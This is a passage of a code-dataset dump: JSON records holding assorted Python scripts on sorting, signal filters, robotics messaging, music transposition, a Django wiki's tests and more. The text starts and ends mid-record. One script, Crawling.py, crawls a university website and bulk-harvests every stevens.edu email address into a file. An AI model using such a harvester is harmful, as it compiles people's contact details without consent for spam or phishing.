Sort([13,17,8,19,2,5],\"insert\")\n_sort.printlist()\n\n_sort = Sort([12,7,3,5,17,15],\"merge\")\n_sort.printlist() ","sub_path":"task1.py","file_name":"task1.py","file_ext":"py","file_size_in_byte":1048,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"73092506","text":"from blastaligner import *\r\nfrom csvtogw import *\r\nfrom gdv import *\r\nfrom seq_source_file import *\r\nimport sys\r\nimport os\r\n\r\nspecies1=str(input(\"Enter the filename of edgelist for Species 1 (do not include .csv): \"))\r\nspecies2=str(input(\"Enter the filename of edgelist for Species 2 (do not include .csv): \"))\r\n\r\npathname=os.path.dirname(sys.argv[0])\r\nnewdir1=os.path.join(pathname,species1)\r\nif not os.path.exists(newdir1):\r\n    os.makedirs(newdir1)\r\n\r\nnewdir2=os.path.join(pathname,species2)\r\nif not os.path.exists(newdir2):\r\n    os.makedirs(newdir2)\r\n\r\nListA=cleanlist(species1)\r\nListB=cleanlist(species2)\r\n\r\n\r\nwhile True:\r\n    try:\r\n        print(\"1\\tConvert .csv file to .gml and .gw files\\n2\\tConvert .csv file to .fasta files\\n3\\tObtain similarity score via orthologs and blast (requires .fasta files)\\n4\\tCreate orca input and output files (obtain graphlet count matrix in .out file)\\n5\\tGraphlet degree similarity signature (requires orca output files)\\n0\\tExit\")\r\n        option=(int(input(\"Enter an option: \")))\r\n\r\n        if option==0:\r\n            sys.exit()\r\n        elif option==1:\r\n            csvtogw(species1, newdir1)\r\n            csvtogw(species2, newdir2)\r\n        elif option==2:\r\n            print(\"Generating fasta files for\" + species1 + \"...\")\r\n            fasta(species1,ListA,newdir1)\r\n            print(\"Generating fasta files for\" + species2 + \"...\")\r\n            fasta(species2,ListB,newdir2)\r\n        elif option==3:\r\n            databasename=str(input(\"Enter the name of the database from https://omabrowser.org/oma/genomePW/ (species must be in correct order!) (do not include .txt): \"))\r\n            print(\"Calculating similarity score...\")\r\n            seq_score(species1,species2,ListA,ListB,databasename,newdir1,newdir2)\r\n        elif option==4:\r\n            orca_input(species1,ListA, newdir1)\r\n            orca_input(species2,ListB,newdir2)\r\n        elif option==5:\r\n            protein1=str(input(\"Please enter 1 protein from Species1: \"))\r\n            protein2=str(input(\"Please enter 1 protein from Species2: \"))\r\n            similarity=signature_score(protein1,protein2, ListA,ListB,newdir1,newdir2,species1,species2)\r\n            print('Signature similarity= ',similarity)\r\n\r\n    except ValueError:\r\n        print(\"Please enter a valid option!\")\r\n","sub_path":"Benchmarking alignments/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2293,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"236309434","text":"import numpy as np\nfrom back.backend import FilterSpace, FilterType, ApproxType, plot_template\nimport matplotlib.pyplot as plt\n\nFS = FilterSpace()\n#FS.addFilter(FilterType.LP, ApproxType.BW, 1000 * (2 * np.pi), 5000 * (2 * np.pi), 0.5, 30, 100, 1, n=9, rp=1, GD=1, nmin=1, nmax=20, Qmax=150)\n#FS.addFilter(FilterType.LP, ApproxType.C, 1000 * (2 * np.pi), 3000 * (2 * np.pi), 3, 30, 0, rp=1, GD=1, nmin=1, nmax=20, Qmax=150)\n#FS.addFilter(FilterType.LP, ApproxType.CH1, 1000 * (2 * np.pi), 3000 * (2 * np.pi), 3, 30, 0, rp=1, GD=1, nmin=1, nmax=15, Qmax=150)\n#FS.addFilter(FilterType.HP, ApproxType.BW, 4000 * (2 * np.pi), 1000 * (2 * np.pi), 3, 30, 0, 1, rp=1, GD=1, nmin=1, nmax=20, Qmax=150)\n#FS.addFilter(FilterType.BP, ApproxType.BW, [2E3 * (2 * np.pi), 3E3 * (2 * np.pi)], [1E3 * (2 * np.pi), 4E3 * (2 * np.pi)], 3, 30, 100, 1, nmin=1, nmax=15, Qmax=150)\n#FS.addFilter(FilterType.BP, ApproxType.LG, [2 * (2 * np.pi), 4 * (2 * np.pi)], [1 * (2 * np.pi), 5 * (2 * np.pi)], 3, 20, 0, nmin=1, nmax=15, Qmax=150)\n#FS.addFilter(FilterType.BR, ApproxType.CH2, [1 * (2 * np.pi), 5 * (2 * np.pi)], [2 * (2 * np.pi), 4 * (2 * np.pi)], 0.5, 20, 0, 10, rp=1, nmin=1, nmax=15, Qmax=150)\n#FS.addFilter(FilterType.BR, ApproxType.C, [1, 5], [2, 4], 3, 20, 100, rp=1, nmin=1, nmax=15, Qmax=150)\nFS.addFilter(FilterType.GD, ApproxType.B, 10 * (2 * np.pi), 15 * (2 * np.pi), 3, 30, 0, tol=10, GD=1E-2, nmin=1, nmax=15, Qmax=150)\n#FS.addFilter(FilterType.GD, ApproxType.G, 10 * (2 * np.pi), 15 * (2 * np.pi), 3, 30, 0, tol=10, GD=1E-2, nmin=1, nmax=15, Qmax=150)\nfil = FS.filters[0]\n#fil.print_self()\n\nprint(\"Pole pairs: \", FS.filters[0].get_pole_pairs())\nprint(\"Zero pairs: \", FS.filters[0].get_zero_pairs())\n#FS.filters[0].add_stage(FS.filters[0].zeros, FS.filters[0].poles)\nFS.filters[0].get_stages()\n\nfor i in range(len(FS.filters[0].stages)):\n    ns = \"\"\n    num = FS.filters[0].stages[i][0]\n    if len(num) == 3:\n        ns = str(num[0]) + \"s^2 + \" + str(num[1]) + \"s + \" + str(num[2])\n    elif len(num) == 2:\n        ns = str(num[0]) + \"s + \" + str(num[1])\n    elif len(num) == 1:\n        ns = str(num[0])\n    print(\" \\t \\t  \" + ns)\n    print(FS.filters[0].stage_names[i] + \": \" + \"--------------------------------\" + \" Order: \" + str(FS.filters[0].get_stage_n(i)) + \" Q: \" + str(FS.filters[0].get_stage_Q(i)))\n    ds = \"\"\n    den = FS.filters[0].stages[i][1]\n    if len(den) == 3:\n        ds = str(den[0]) + \"s^2 + \" + str(den[1]) + \"s + \" + str(den[2])\n    elif len(num) == 2:\n        ds = str(den[0]) + \"s + \" + str(den[1])\n    elif len(num) == 1:\n        ds = str(den[0])\n    print(\" \\t \\t  \" + ds)\n    print(\"\\n\")\n\n# # BODE\n# fig, ax = plt.subplots(2, 1)\n# axmod, axph = ax\n# plot_template(axmod, fil.type, fil.data, False)\n# FS.plot_mod(axmod, A=False)\n# FS.plot_ph(axph)\n'''b, a = fil.num, fil.den\nwmin, wmax = fil.get_wminmax()\n#wmin = min(fil.data.wp, fil.data.wa)/10 if fil.type <= FilterType.HP elif fil.type <= FilterType.GD else min(fil.data.wp[0], fil.data.wa[0])/10\n#wmax = max(fil.data.wp, fil.data.wa)*10 if fil.type <= FilterType.HP else max(fil.data.wp[1], fil.data.wa[1])*10\nw = np.linspace(wmin, wmax, int(wmax/wmin * 10))\n#H = ss.TransferFunction(b, a)\nfil.plot_mod(axmod, w)\nfil.plot_ph(axph, w)\nfig.suptitle(\"Filter frequency response\")\naxmod.set_xlabel('Frequency [radians / second]')\naxmod.set_ylabel('Amplitude [dB]')\naxmod.grid()\naxph.set_xlabel('Frequency [radians / second]')\naxph.set_ylabel('Phase [°]')\naxph.grid()\n#plt.ylim(-60, 10)\n#plt.grid(which='both', axis='both')\n#plt.show()'''\n\n# BO2\nfig3, ax3 = plt.subplots(1, 1)\nFS.filters[0].plot_selected_stages(ax3, [1])\n\n\n# # POLOS Y CEROS\n# fig2, ax2 = plt.subplots(1, 1)\n# FS.plot_zp(ax2)\n'''fig2.suptitle(\"Poles and Zeros\")\nax2.scatter(fil.zeros.real, fil.zeros.imag, marker='o', edgecolors=\"red\", facecolors=\"None\")\nax2.scatter(fil.poles.real, fil.poles.imag, marker='x', color=\"blue\")\nax2.set_xlabel('Real')\nax2.set_ylabel('Imaginary')\nax2.grid()'''\n\n# # RETARDO DE GRUPO\n# figGD, axGD = plt.subplots(1, 1)\n# FS.plot_gd(axGD)\n'''wmin, wmax = fil.get_wminmax()\n#wmin = min(fil.data.wp, fil.data.wa)/10 if fil.type <= FilterType.HP elif fil.type <= FilterType.GD else min(fil.data.wp[0], fil.data.wa[0])/10\n#wmax = max(fil.data.wp, fil.data.wa)*10 if fil.type <= FilterType.HP else max(fil.data.wp[1], fil.data.wa[1])*10\nw = np.linspace(0, wmax*2/3, int(wmax/wmin * 10))\nfil.plot_gd(axGD, w)\n#axGD.set_ylim([0, 1])\nfigGD.suptitle(\"Filter group delay\")\naxGD.set_xlabel('Frequency [radians / second]')\naxGD.set_ylabel('Group Delay')\naxGD.grid()'''\n\nplt.show()\n\n\n\n\n","sub_path":"back/test_backend.py","file_name":"test_backend.py","file_ext":"py","file_size_in_byte":4539,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"66058607","text":"import pandas as pd\nimport numpy as np\nimport argparse\nimport dataio\nimport json\nimport glob\nimport os\n\n\nparser = argparse.ArgumentParser(description='Combine runs')\nparser.add_argument('--datasets', type=str, nargs='+')\noptions = parser.parse_args()\n\nfor DATASET_NAME in options.datasets:\n    CSV_FOLDER, CSV_TRAIN, CSV_TEST, CSV_VAL, CONFIG_FILE, Q_NPZ = dataio.build_paths(DATASET_NAME)\n\n    tracked_metrics = ['accuracy', 'll_mcmc_all']\n    experiments = next(os.walk(CSV_FOLDER))[1]  # List all folders\n    for experiment in experiments:\n        results = {}\n        df = {}\n        for run_id in range(5):\n            rlog = os.path.join(CSV_FOLDER, experiment, str(run_id), 'rlog.csv')\n            results_file = os.path.join(CSV_FOLDER, experiment, str(run_id), 'results.json')\n            if os.path.isfile(rlog):\n                df[run_id] = pd.read_csv(rlog)\n            if os.path.isfile(results_file):\n                with open(results_file) as f:\n                    results[run_id] = json.load(f)\n        if df:\n            mean_df = pd.DataFrame()\n            for column in tracked_metrics:\n                mean_df[column] = np.column_stack([df[i][column] for i in df]).mean(axis=1)\n            mean_df.to_csv(os.path.join(CSV_FOLDER, experiment, 'rlog.csv'))\n\n        if results:\n            with open(os.path.join(CSV_FOLDER, experiment, 'results.json'), 'w') as f:\n                f.write(json.dumps({\n                    'args': results[0]['args'],\n                    'legends': {\n                        'short': results[0]['legends']['short'],\n                        'full': results[0]['legends']['full'],\n                        'latex': results[0]['legends']['latex']\n                    },\n                    'metrics': {\n                        metric: np.mean([results[i]['metrics'][metric] for i in results])\n                        for metric in {'ACC', 'AUC', 'NLL'}\n                    }\n                }, indent=4))\n","sub_path":"combine.py","file_name":"combine.py","file_ext":"py","file_size_in_byte":1952,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"321366225","text":"import cv2\r\nfrom time import sleep\r\nimport numpy\r\n\r\ncamera = cv2.VideoCapture(0)\r\n\r\nwhile True:\r\n\tstatus, image = camera.read()\r\n\tif(status):\r\n\t\tcv2.imwrite(\"video1.jpg\", image)\r\n\t\t\r\n\t\tgrayscaled = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\r\n\t\tretval, threshold = cv2.threshold(grayscaled, 60, 255, cv2.THRESH_BINARY)\r\n\t\t\r\n\t\ta = cv2.resize(image, (600, 500))\r\n\t\tcv2.imshow('original',a)\r\n\t\t\r\n\t\tif cv2.waitKey(5) == ord('o'):\r\n\t\t\tbreak\r\n\t\t\r\n\t\tb = cv2.resize(threshold, (600, 500))\r\n\t\tcv2.imshow('threshold', b)\r\n\t\t\r\n\t\tif cv2.waitKey(5) == ord('t'):\r\n\t\t\tbreak\r\n\tsleep(0.03)\r\n\r\n\r\n\r\n","sub_path":"My_programs/open_cv/camera.py","file_name":"camera.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"586821381","text":"import music21\n\nimport sys\nimport copy\n\n#music21.environment.set('musicxmlPath', '/usr/bin/musescore')\nmusic21.environment.set('autoDownload', 'allow')\n\ndef convert(fin, lower=0, higher=0):\n    s = music21.converter.parse(fin)\n    noteOne = None\n    for note in s.flat.notes:\n        if isinstance(note, music21.chord.Chord):\n            for pitch in note:\n                if noteOne == None:\n                    noteOne = music21.note.Note()\n                    noteOne.pitch = pitch\n                interval = music21.interval.Interval(noteStart = noteOne, noteEnd = pitch)\n                rinterval = interval.reverse()\n                #we have to do it twice, once would make everything noteOne\n                pitch.transpose(rinterval, inPlace = True)\n                pitch.transpose(rinterval, inPlace = True)\n                for l in range(lower):\n                    pitch.transpose(music21.interval.GenericInterval('Octave').reverse(), inPlace = True)\n                for h in range(higher):\n                    pitch.transpose(music21.interval.GenericInterval('Octave'), inPlace = True)\n        else:\n            if noteOne == None:\n                noteOne = copy.deepcopy(note)\n            interval = music21.interval.Interval(noteStart = noteOne, noteEnd = note)\n            rinterval = interval.reverse()\n            #we have to do it twice, once would make everything noteOne\n            note.transpose(rinterval, inPlace = True)\n            note.transpose(rinterval, inPlace = True)\n            for l in range(lower):\n                note.transpose(music21.interval.GenericInterval('Octave').reverse(), inPlace = True)\n            for h in range(higher):\n                note.transpose(music21.interval.GenericInterval('Octave'), inPlace = True)\n    midiOut = 'inverse.mid'\n    s.write('midi', fp = midiOut)\n    return midiOut\n\ndef main():\n    if len(sys.argv) < 2:\n        print('You must provide the midi file to read')\n        print('\\t{} <midiFile.mid>'.format(sys.argv[0]))\n        sys.exit(1)\n    f = sys.argv[1]\n    fout = convert(f)\n\nif __name__ == '__main__':\n    main()\n","sub_path":"invert.py","file_name":"invert.py","file_ext":"py","file_size_in_byte":2096,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"582335154","text":"'''\nAuthor: alexc89@mit.edu\nSendMessageAchMatlab\nUsed to multicast Hubo's status on LCM.  It will take the information received on ACH and convert it to LCM.  This is needed for live visualization.\n\n'''\n\nimport lcm\nimport time\nimport ach\nimport hubo_ach as ha\nimport time\nfrom ctypes import *\n\n#Import LCM Messages\nfrom lcmtypes import hubo_hubo2state\n\n\n\n\n\n#Message Conversion\ndef convertLCM_Matlab(x):\n    NUM_JOINT = 40\n    msg = hubo_hubo2state()\n    msg.timestamp =  time.time()\n    msg.state = [0,0,0,0,0,0] #Basic Link Position\n    msg.state += [x.joint[i].pos for i in range(NUM_JOINT)] #Moter joints positions\n    msg.state += [0,0,0,0,0,0] #Basic Link Velocities\n    msg.state += [x.joint[i].vel for i in range(NUM_JOINT)] #Motor joint velocity\n    #Retroactively adding passive finger joints and their velocity\n    FINGER_JOINTPOS = [17,38] #Left and Right hand.\n    FINGER_JOINTPOS = [[FINGER_JOINTPOS[hand] +2*finger for finger in range(5) ] for hand in range(2)]#Populate 5 fingers\n    FINGER_JOINTPOS = FINGER_JOINTPOS[0] + FINGER_JOINTPOS[1]\n    FINGER_JOINTPOS += [FINGER_JOINTPOS[finger] +1 for finger in range(len(FINGER_JOINTPOS))]#Populate 2 knuckles for each finger\n    FINGER_JOINTPOS += [2*knuckles for knuckles in FINGER_JOINTPOS] #add velocity\n    FINGER_JOINTPOS.sort()\n    [msg.state.insert(knuckle, 0) for knuckle in FINGER_JOINTPOS] #Insert zero for the passive knuckles   position + Velocity\n    return msg\n\n\nif __name__ == \"__main__\":\n    #Setup ACH LCM channels\n    lc = lcm.LCM(\"udpm://239.255.76.67:7667?ttl=2\")\n    #Setup ACH\n    c = ach.Channel(ha.HUBO_CHAN_STATE_NAME)#HuboState\n    c. flush()\n\n    while True:  #constant Transmission        \n        #Grab a frame form ACH\n        state = ha.HUBO_STATE()\n        [status, framesize] = c.get(state, wait=True, last=False)\n        if status == ach.ACH_OK or status == ach.ACH_MISSED_FRAME:\n            x =1#print \"ACH grab successful\" #Testing Probe 1\n        else:\n            raise ach.AchException( c.result_string(status))\n        \n        \n        #ACH to LCM conversion\n        msg = convertLCM_Matlab(state)\n#        msg.imu = [convert_imu(x) for x in state.imu]\n#        msg.ft = [convert_ft(x) for x in state.ft]\n#        msg.joint = [convert_joint_state(x) for x in state.joint]\n#        msg.status = [convert_joint_status(x) for x in state.status]\n#        msg.driver = [convert_jmc_state(x) for x in state.driver]\n#        msg.power = convert_power(state.power)\n#        msg.time = state.time\n#        msg.refWait = state.refWait\n        \n        #Pushout an LCM message\n        lc.publish(\"HuboState\", msg.encode())\n        #Loop Delay\n        time.sleep(0.01)\n    #ACH LCM terminate\n    c.close()\n","sub_path":"ach-lcm-util-simplified/sendMessageAchMatlab.py","file_name":"sendMessageAchMatlab.py","file_ext":"py","file_size_in_byte":2697,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"39208081","text":"# Definition for a binary tree node.\n# class TreeNode:\n#     def __init__(self, x):\n#         self.val = x\n#         self.left = None\n#         self.right = None\n\ndef find(node, parent, target):\n    if node is None:\n        return None, -1\n    if node.val == target:\n        return parent, 0\n    elif node.left is None and node.right is None:\n        return None, -1\n\n    lp, ld = find(node.left, node, target)\n    rp, rd = find(node.right, node, target)\n    if lp is None and rp is None:\n        return None, -1\n    elif lp is not None:\n        return lp, ld + 1\n    else:\n        return rp, rd + 1\n\n\nclass Solution:\n    def isCousins(self, root, x, y):\n        xp, xd = find(root, None, x)\n        yp, yd = find(root, None, y)\n        return xd == yd and xp != yp\n","sub_path":"src/leetcode/P3322.py","file_name":"P3322.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"38990100","text":"import csv\nimport openpyxl as xl\nimport webbrowser\n\nweb_address = input('Please enter the web address:')\nworking_dir = '~/Documents/HUD/Projects/Scripts/{}'\n\n\n# noinspection PyUnboundLocalVariable\ndef main():\n    \"\"\"\n    function to control the script, taking in the name of the file that will be used and\n    deciding whether to use a .csv function or .xlsx function\n    \"\"\"\n    while True:\n        # noinspection PyBroadException\n        try:\n\n            filename = input('Please enter the file you wish to use: ')\n            file = working_dir.format(filename)\n            print('Reading {}'.format(file))\n            if file.endswith('.csv'):\n                process_csv(import_csv(file))\n            elif file.endswith('.xlsx'):\n                process_xlsx(import_xlsx(file))\n            else:\n                print('{} is not a valid file.'.format(filename))\n        except Exception:\n            print('{} does not exist.'.format(filename))\n            pass\n\n\ndef import_csv(file):\n    \"\"\"\n    function to import the .csv file and convert it to a list\n    :param file: the file name that is opened\n    :return: returns data as a list of lists\n    \"\"\"\n    try:\n        with open(file) as working_file:\n            reader = csv.reader(working_file)\n            csv_data = list(reader)\n            return csv_data\n    except Exception:\n        raise\n\n\n\ndef import_xlsx(file):\n    \"\"\"\n    function to import the .xlsx file and convert it to a worksheet object\n    :param file: the file name that is opened\n    :return: returns the worksheet object\n    \"\"\"\n    try:\n        wb = xl.load_workbook(file)\n    except Exception:\n        raise\n    print('Choose a sheet from the workbook: ')\n    print(wb.sheetnames)\n    sheet = wb[input()]\n    print('Reading {}{}'.format(sheet.title, '.'))\n    return sheet\n\n\ndef process_csv(csv_list):\n    \"\"\"\n    function that iterates through the list and opens browser tabs when it\n    finds seven digit number values\n    :param csv_list: a list generated from a .csv file\n    \"\"\"\n    print('Opening browser tabs...')\n    for elements in csv_list:\n        for element in elements:\n            if element.isdigit() and len(element) == 7:\n                webbrowser.open(web_address + element)\n\n\ndef process_xlsx(sheet):\n    \"\"\"\n    function that iterates through the worksheet object and opens browser tabs when it\n    finds seven digit number values\n    :param sheet: a worksheet from an .xlsx file\n    \"\"\"\n    print('Opening browser tabs...')\n    for row in sheet.iter_rows():\n        for cell in row:\n            if str(cell.value).isdigit() and len(str(cell.value)) == 7:\n                webbrowser.open(web_address + str(cell.value))\n\n\nmain()\n","sub_path":"tool.py","file_name":"tool.py","file_ext":"py","file_size_in_byte":2685,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"606062055","text":"import sys\nimport numpy as np\n\n# Run:\n# python scripts/timeints-divide-and-partition.py \\\n#   <time step days> \\\n#   <max num intervals with lengths larger than the interval specified>\n\n# f.ex. for creating time intervals for each fourth days while not allowing a line contain \n# sum of intervals larger than 2 * the maximum interval in the .txt file\n# python scripts/timeints-divide-and-partition.py ../Elies-longitudinal-data-test/timeints_mod.txt 4 2\n\n#with open(\"../Elies-longitudinal-data-test/timeints_mod.txt\") as file:\nwith open(sys.argv[1]) as file:\n    lines = file.readlines()\n\n# Remove newlines and create list of ints\n# Note: the last line in the file should be the last\n# integer and should not contain a newline\ntimeints = [int(time[:-1]) if i < len(lines)-1 else int(time) for i, time in enumerate(lines)]\n\n# \ntimeints_mod = np.array(timeints)//int(sys.argv[2])\n\n#print(timeints_mod)\n\nspecif_interval = np.max(timeints_mod) # can be median , max or min. Set to max if little RAM available\n\n#print(\"median interval was %i , using this as splitting measure\" %specif_interval)\n\n# \nmax_num_specif_intervals = int(sys.argv[3])\n\ntimeints_mod_copy = timeints_mod.copy()\n\nbuf = 0\n\nj = 0\n\nfor i, interval in enumerate(timeints_mod):\n    buf += interval\n    j += 1\n    #print(\"buf is %i\" % buf)\n    if buf > max_num_specif_intervals*specif_interval or i == len(timeints_mod)-1:\n        for intervalint in timeints_mod_copy[:j]:\n            print(intervalint, end=\" \")\n        print(\"\")\n        timeints_mod_copy = timeints_mod_copy[j:]\n        buf = 0\n        j = 0\n","sub_path":"scripts/timeints-divide-and-partition.py","file_name":"timeints-divide-and-partition.py","file_ext":"py","file_size_in_byte":1572,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"463464301","text":"import queue\nimport re\nfrom urllib.parse import urljoin\nfrom urllib.parse import urlparse\nfrom bs4 import BeautifulSoup\nfrom selenium import webdriver\n\ndef is_absolute(url):\n    \"\"\"Determine whether URL is absolute.\"\"\"\n    return bool(urlparse(url).netloc)\n\n\noptions = webdriver.ChromeOptions()\noptions.add_argument(\"headless\")\ndriver = webdriver.Chrome(executable_path=\"C:\\Program Files\\chromedriver.exe\")\n\nemail_addresses = []\npages = []\n\nq = queue.Queue()\n\nq.put(\"https://www.stevens.edu/school-business/faculty\")\n\nfor i in range(600):\n    url = q.get()\n\n    # r = requests.get(url)\n    driver.get(url)\n\n    soup = BeautifulSoup(driver.page_source, 'html.parser')\n\n    # Extract all email addresses.\n    # print(soup.get_text())\n    email_addresses += re.findall(\"\\S+@stevens.edu\", soup.get_text())\n    email_addresses = list(set(email_addresses))\n\n    links = soup.find_all('a')\n    for link in links:\n        u = link.get('href')\n        if not is_absolute(u):\n            u = urljoin(url, u)\n        if \"www.stevens.edu\" in u:\n            q.put(u)\n\n    print(\"Queue size: {}\".format(q.qsize()))\n    print(\"# email addresses: {}\".format(len(email_addresses)))\n    parsed = urlparse(url)\n    pages.append(parsed.netloc + parsed.path)\n    print(pages)\n    with open(\"visited_pages.txt\", \"w+\") as f:\n        for p in pages:\n            f.write(p + \"\\n\")\n\nwith open(\"email.txt\", \"w+\") as f:\n    for e in email_addresses:\n        f.write(e + \"\\n\")\n","sub_path":"Crawling.py","file_name":"Crawling.py","file_ext":"py","file_size_in_byte":1448,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"210343868","text":"#! /usr/bin/env python\n# -*- coding:utf-8 -*-\n# Author: Tdcqma\n\ndic_1 = {'name':'daniel','age':'18'}\ndic_2 = {'sex':'meal'}\n\ndic_1.update(dic_2)\n\nprint(dic_1)\nprint(dic_2)","sub_path":"014_零散知识点/将一个字典添加到另一个字典中.py","file_name":"将一个字典添加到另一个字典中.py","file_ext":"py","file_size_in_byte":171,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"66791777","text":"import mock\nfrom django.test import TestCase\nfrom waliki.models import Page\nfrom django.core.urlresolvers import reverse\nfrom django.core.exceptions import PermissionDenied\nfrom waliki import settings\nfrom .factories import PageFactory, UserFactory, ACLRuleFactory\n\n\nclass TestPageView(TestCase):\n\n\n    def setUp(self):\n        self.page = PageFactory(raw=\"hello test!\")\n        self.edit_url = reverse('waliki_edit', args=(self.page.slug,))\n\n    def test_view(self):\n        response = self.client.get(self.page.get_absolute_url())\n        self.assertContains(response, self.page.title)\n        self.assertContains(response, self.page.body)\n        self.assertContains(response, self.edit_url)\n        self.assertTemplateUsed(response, 'waliki/detail.html')\n\n    def test_view_raw(self):\n        response = self.client.get(self.page.get_absolute_url() + '/raw')\n        self.assertContains(response, self.page.raw)\n        self.assertEqual(response['Content-Type'], 'text/plain')\n\n    def test_view_no_perm_no_auth(self):\n        with mock.patch('waliki.acl.WALIKI_ANONYMOUS_USER_PERMISSIONS', return_value=()):\n            response = self.client.get(self.page.get_absolute_url())\n        self.assertRedirects(response, '/accounts/login/?next=' + self.page.get_absolute_url())\n\n    def test_view_auth(self):\n        user = UserFactory()\n        self.client.login(username=user.username, password='pass')\n        with mock.patch('waliki.acl.WALIKI_ANONYMOUS_USER_PERMISSIONS', return_value=()):\n            response = self.client.get(self.page.get_absolute_url())\n        self.assertContains(response, self.page.body)\n        self.assertContains(response, self.edit_url)\n        self.assertTemplateUsed(response, 'waliki/detail.html')\n\n    def test_view_auth_no_perms(self):\n        user = UserFactory()\n\n        self.client.login(username=user.username, password='pass')\n        with mock.patch('waliki.acl.WALIKI_ANONYMOUS_USER_PERMISSIONS'):\n            with mock.patch('waliki.acl.WALIKI_LOGGED_USER_PERMISSIONS'):\n                response = self.client.get(self.page.get_absolute_url())\n        self.assertTemplateUsed(response, 'waliki/403.html')\n        self.assertEqual(response.status_code, 403)\n","sub_path":"tests/test_views.py","file_name":"test_views.py","file_ext":"py","file_size_in_byte":2205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"196465997","text":"from time import sleep\nfrom IoTPy.linux.spi import SPIDEV\n\n\nclass Carambola2_SPI(SPIDEV):\n\n    def __init__(self, caramiot, clock, mode, cs):\n        super(Carambola2_SPI, self).__init__('/dev/spidev0.%d' % cs)\n\n        self._caramiot = caramiot\n        self.clock = clock\n        self.mode = mode\n        self.cs = cs\n\n    def __enter__(self):\n        if not self._caramiot.create_spi(self.clock, self.mode, self.cs):\n            raise RuntimeError(\"Could not create new SPI device.\")\n\n        sleep(0.1)  # sometimes spidev doesn't open if called immediately after ioctl SPI_INIT\n\n        return super(Carambola2_SPI, self).__enter__()\n\n    def __exit__(self, exc_type, exc_val, exc_tb):\n        super(Carambola2_SPI, self).__exit__(exc_type, exc_val, exc_tb)\n        self._caramiot.destroy_spi(self.cs)\n","sub_path":"IoTPy/pycarambola2/spi.py","file_name":"spi.py","file_ext":"py","file_size_in_byte":806,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"488721758","text":"from random import randint, random\n\ndef hillMax(lst, howFar):\n    '''爬山算法\n    lst:待确定最大值的列表\n    howFar:爬山时能看到的“最远方”，越大越准确'''\n    #由于切片是左闭右开区间，所以howFar必须大于1\n    assert howFar>1, 'howFar must >1'\n    \n    #从列表第一个元素开始爬\n    #如果已经到达最后一个元素，或者已找到局部最大值，结束\n    start = 0\n    ll = len(lst)\n    while start <= ll:\n        m = lst[start]\n        loc = lst[start+1:start+howFar]\n        mm = max(loc)\n        if m > mm:\n            return m\n        else:\n            #局部最大数的位置\n            mmPos = loc.index(mm)\n            start += mmPos+1\n\ndef simAnnealingMax(lst, howFar):\n    '''模拟退火算法，与粗暴的爬山算法相比，有可能跳出局部而获得全局最优解，\n    也有可能会因为忽略当前的局部最优解而得到更差的解，参数设置很重要\n    lst:待确定最大值的列表\n    howFar:爬山时能看到的“最远方”，越大越准确'''\n    #由于切片是左闭右开区间，所以howFat必须大于1\n    assert howFar>1, 'parameter \"howFar\" must >1'\n    \n    #从列表第一个元素开始爬\n    #如果已经到达最后一个元素，或者已找到局部最大值，结束\n    start = 0\n    ll = len(lst)\n    #随机走动的次数\n    times = 1\n    while start <= ll:\n        #当前局部最优解\n        m = lst[start]\n        #下一个邻域内的数字\n        loc = lst[start+1:start+howFar]\n        #如果已处理完所有数据，结束\n        if not loc:\n            return m\n        #下一个邻域的局部最优解及其位置\n        mm = max(loc)\n        mmPos = loc.index(mm)\n        #如果下一个邻域内有更优解，走过去\n        if m <= mm:\n            start += mmPos+1\n        else:\n            #如果下一个邻域内没有更优解，以一定的概率前进或结束\n            delta = (m-mm)/(m+mm)\n            #随机走动次数越多，对概率要求越低\n            if delta <= random()/times:\n                start += mmPos+1\n                times += 1\n            else:\n                return m\n            \n#性能测试，比较两种算法优劣，其中的参数k的值很重要\nfor j in range(10):\n    win = 0\n    compareTimes = 1000\n    for i in range(compareTimes):\n        lst = [randint(1, 100) for i in range(200)]\n        k = 3\n        if simAnnealingMax(lst, k) >= hillMax(lst, k):\n            win += 1\n    if win >= compareTimes//2:\n        print('win')\n","sub_path":"示例5-37.py","file_name":"示例5-37.py","file_ext":"py","file_size_in_byte":2556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"585787029","text":"#!/usr/bin/env python\n\n# -*- encoding: utf-8 -*-\n\n'''\n@Author  :   {lif54334}\n\n@Software:   PyCharm\n\n@File    :   txt_seg.py\n\n@Time    :   2018/7/7 13:05\n\n@Desc    :\n\n'''\n\nimport os\nimport re\n\ndef seg(inpath):\n    p2=\"F:/txt/txtafter/\"\n    i=0\n    for parent, dirnames, filenames in os.walk(inpath):\n        for filename in filenames:\n            file_path = os.path.join(parent, filename)\n            (shotname, extension) = os.path.splitext(filename)\n            #print('文件名全称：%s' % filename)\n            print('文件名：%s'% shotname)\n            #print('文件完整路径：%s\\n' % file_path)\n            with open(file_path,\"r\",encoding=\"utf-8\") as ft:\n                lines=ft.readlines()\n                for line in lines:\n                    #print(line)\n                    result = re.search(r'#################################################################', line)\n                    if  not result:\n                        with 